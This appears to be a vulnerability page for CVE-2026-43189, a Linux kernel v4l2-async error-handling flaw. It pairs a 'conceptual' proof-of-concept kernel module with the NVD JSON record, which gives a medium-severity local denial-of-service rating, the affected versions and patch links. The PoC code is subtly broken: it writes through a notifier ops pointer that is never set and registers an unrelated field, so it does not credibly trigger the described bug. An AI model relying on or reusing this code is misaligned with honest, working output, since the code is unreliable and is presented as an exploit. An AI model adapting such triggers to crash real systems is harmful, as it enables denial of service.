CVE-2026-43189

/* * PoC for CVE-2026-43189 * This is a conceptual PoC to trigger the v4l2-async error handling path. * It requires a hardware setup or emulated environment where a V4L2 async * subdevice registration can be forced to fail during the match_notify phase. */ #include <linux/module.h> #include <linux/platform_device.h> #include <media/v4l2-async.h> #include <media/v4l2-subdev.h> static int test_notify_bound(struct v4l2_async_notifier *notifier, struct v4l2_subdev *subdev, struct v4l2_async_connection *asc) { /* Simulate a failure during the binding process */ pr_info("Triggering bind failure\n"); return -EINVAL; /* Force error to trigger vulnerability path */ } static int test_probe(struct platform_device *pdev) { struct v4l2_async_notifier *notifier; struct v4l2_async_connection *asc; struct fwnode_handle *fwnode; /* Setup notifier and connection to trigger the vulnerable code path */ notifier = devm_kzalloc(&pdev->dev, sizeof(*notifier), GFP_KERNEL); if (!notifier) return -ENOMEM; v4l2_async_notifier_init(notifier); notifier->ops->bound = test_notify_bound; /* In a real scenario, this would involve a specific fwnode match */ /* The vulnerability is triggered when v4l2_async_match_notify fails */ return v4l2_async_register_subdev(notifier->sd); } static struct platform_driver test_driver = { .probe = test_probe, .driver = { .name = "cve_2026_43189_poc", }, }; module_platform_driver(test_driver); MODULE_LICENSE("GPL");

{"cve": {"id": "CVE-2026-43189", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:37.723", "lastModified": "2026-05-11T20:47:45.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: v4l2-async: Fix error handling on steps after finding a match\n\nOnce an async connection is found to be matching with an fwnode, a\nsub-device may be registered (in case it wasn't already), its bound\noperation is called, ancillary links are created, the async connection\nis added to the sub-device's list of connections and removed from the\nglobal waiting connection list. Further on, the sub-device's possible own\nnotifier is searched for possible additional matches.\n\nFix these specific issues:\n\n- If v4l2_async_match_notify() failed before the sub-notifier handling,\n the async connection was unbound and its entry removed from the\n sub-device's async connection list. The latter part was also done in\n v4l2_async_match_notify().\n\n- The async connection's sd field was only set after creating ancillary\n links in v4l2_async_match_notify(). It was however dereferenced in\n v4l2_async_unbind_subdev_one(), which was called on error path of\n v4l2_async_match_notify() failure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6", "versionEndExcluding": "6.6.128", "matchCriteriaId": "C0FD95A9-209E-44A8-8F1D-1EB130F75861"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2de0a3c8148fc3dbea21981e6569f550b3626119", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/30aaed311f973f13ba13a0cd2dc0202f595fff48", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/461733d83e67ba7e3a5b750c0d203f738e01244f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7345d6d356336c448d6b9230ed8704f39679fd12", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b02bcb378efa8af07827f49b3afcc5e825318c55", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}